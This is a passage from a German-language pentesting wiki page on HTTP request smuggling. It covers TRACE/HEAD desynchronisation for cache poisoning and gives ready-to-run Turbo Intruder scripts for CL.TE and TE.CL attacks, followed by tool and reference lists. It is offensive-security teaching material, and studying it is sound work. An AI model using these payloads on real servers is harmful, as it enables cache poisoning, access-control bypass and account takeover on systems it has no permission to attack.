eine weitere Möglichkeit auszunutzen, die TRACE-Methode zu missbrauchen. Wie kommentiert, ist es durch das Schmuggeln einer HEAD-Anfrage und einer TRACE-Anfrage möglich, **einige reflektierte Daten** in der Antwort auf die HEAD-Anfrage zu **steuern**. Die Länge des Körpers der HEAD-Anfrage wird im Wesentlichen im Content-Length-Header angegeben und wird durch die Antwort auf die TRACE-Anfrage gebildet. Daher wäre die neue Idee, dass, wenn man diesen Content-Length und die in der TRACE-Antwort gegebenen Daten kennt, es möglich ist, die TRACE-Antwort so zu gestalten, dass sie eine gültige HTTP-Antwort nach dem letzten Byte des Content-Length enthält, was es einem Angreifer ermöglicht, die Anfrage zur nächsten Antwort vollständig zu steuern (was verwendet werden könnte, um eine Cache-Vergiftung durchzuführen). Beispiel: ``` GET / HTTP/1.1 Host: example.com Content-Length: 360 HEAD /smuggled HTTP/1.1 Host: example.com POST /reflect HTTP/1.1 Host: example.com SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok\r\n Content-Type: text/html\r\n Cache-Control: max-age=1000000\r\n Content-Length: 44\r\n \r\n ``` Wird diese Antworten generieren (beachten Sie, wie die HEAD-Antwort eine Content-Length hat, die die TRACE-Antwort Teil des HEAD-Körpers macht, und sobald die HEAD Content-Length endet, wird eine gültige HTTP-Antwort geschmuggelt): ``` HTTP/1.1 200 OK Content-Type: text/html Content-Length: 0 HTTP/1.1 200 OK Content-Type: text/html Content-Length: 165 HTTP/1.1 200 OK Content-Type: text/plain Content-Length: 243 SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok Content-Type: text/html Cache-Control: max-age=1000000 Content-Length: 50 ``` ### Waffenerstellung für HTTP Request Smuggling mit HTTP Response Desynchronisation Haben Sie eine HTTP Request Smuggling-Sicherheitsanfälligkeit gefunden und wissen nicht, wie Sie sie ausnutzen können? Versuchen Sie diese andere Methode der Ausnutzung: {{#ref}} ../http-response-smuggling-desync.md {{#endref}} ### Weitere HTTP Request Smuggling Techniken - Browser HTTP Request Smuggling (Client-Seite) {{#ref}} browser-http-request-smuggling.md {{#endref}} - Request Smuggling in HTTP/2 Downgrades {{#ref}} request-smuggling-in-http-2-downgrades.md {{#endref}} ## Turbo Intruder Skripte ### CL.TE Von [https://hipotermia.pw/bb/http-desync-idor](https://hipotermia.pw/bb/http-desync-idor) ```python def queueRequests(target, wordlists): engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=5, requestsPerConnection=1, resumeSSL=False, timeout=10, pipeline=False, maxRetriesPerRequest=0, engine=Engine.THREADED, ) engine.start() attack = '''POST / HTTP/1.1 Transfer-Encoding: chunked Host: xxx.com Content-Length: 35 Foo: bar 0 GET /admin7 HTTP/1.1 X-Foo: k''' engine.queue(attack) victim = '''GET / HTTP/1.1 Host: xxx.com ''' for i in range(14): engine.queue(victim) time.sleep(0.05) def handleResponse(req, interesting): table.add(req) ``` ### TE.CL Von: [https://hipotermia.pw/bb/http-desync-account-takeover](https://hipotermia.pw/bb/http-desync-account-takeover) ```python def queueRequests(target, wordlists): engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=5, requestsPerConnection=1, resumeSSL=False, timeout=10, pipeline=False, maxRetriesPerRequest=0, engine=Engine.THREADED, ) engine.start() attack = '''POST / HTTP/1.1 Host: xxx.com Content-Length: 4 Transfer-Encoding : chunked 46 POST /nothing HTTP/1.1 Host: xxx.com Content-Length: 15 kk 0 ''' engine.queue(attack) victim = '''GET / HTTP/1.1 Host: xxx.com ''' for i in range(14): engine.queue(victim) time.sleep(0.05) def handleResponse(req, interesting): table.add(req) ``` ## Tools - [https://github.com/anshumanpattnaik/http-request-smuggling](https://github.com/anshumanpattnaik/http-request-smuggling) - [https://github.com/PortSwigger/http-request-smuggler](https://github.com/PortSwigger/http-request-smuggler) - [https://github.com/gwen001/pentest-tools/blob/master/smuggler.py](https://github.com/gwen001/pentest-tools/blob/master/smuggler.py) - [https://github.com/defparam/smuggler](https://github.com/defparam/smuggler) - [https://github.com/Moopinger/smugglefuzz](https://github.com/Moopinger/smugglefuzz) - [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): Dieses Tool ist ein grammatikbasierter HTTP-Fuzzer, der nützlich ist, um seltsame Unterschiede beim Request Smuggling zu finden. ## References - [https://portswigger.net/web-security/request-smuggling](https://portswigger.net/web-security/request-smuggling) - [https://portswigger.net/web-security/request-smuggling/finding](https://portswigger.net/web-security/request-smuggling/finding) - [https://portswigger.net/web-security/request-smuggling/exploiting](https://portswigger.net/web-security/request-smuggling/exploiting) - [https://medium.com/cyberverse/http-request-smuggling-in-plain-english-7080e48df8b4](https://medium.com/cyberverse/http-request-smuggling-in-plain-english-7080e48df8b4) - [https://github.com/haroonawanofficial/HTTP-Desync-Attack/](https://github.com/haroonawanofficial/HTTP-Desync-Attack/) - [https://memn0ps.github.io/2019/11/02/HTTP-Request-Smuggling-CL-TE.html](https://memn0ps.github.io/2019/11/02/HTTP-Request-Smuggling-CL-TE.html) - [https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/](https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/) - [https://portswigger.net/research/trace-desync-attack](https://portswigger.net/research/trace-desync-attack) - [https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/) {{#include ../../banners/hacktricks-training.md}}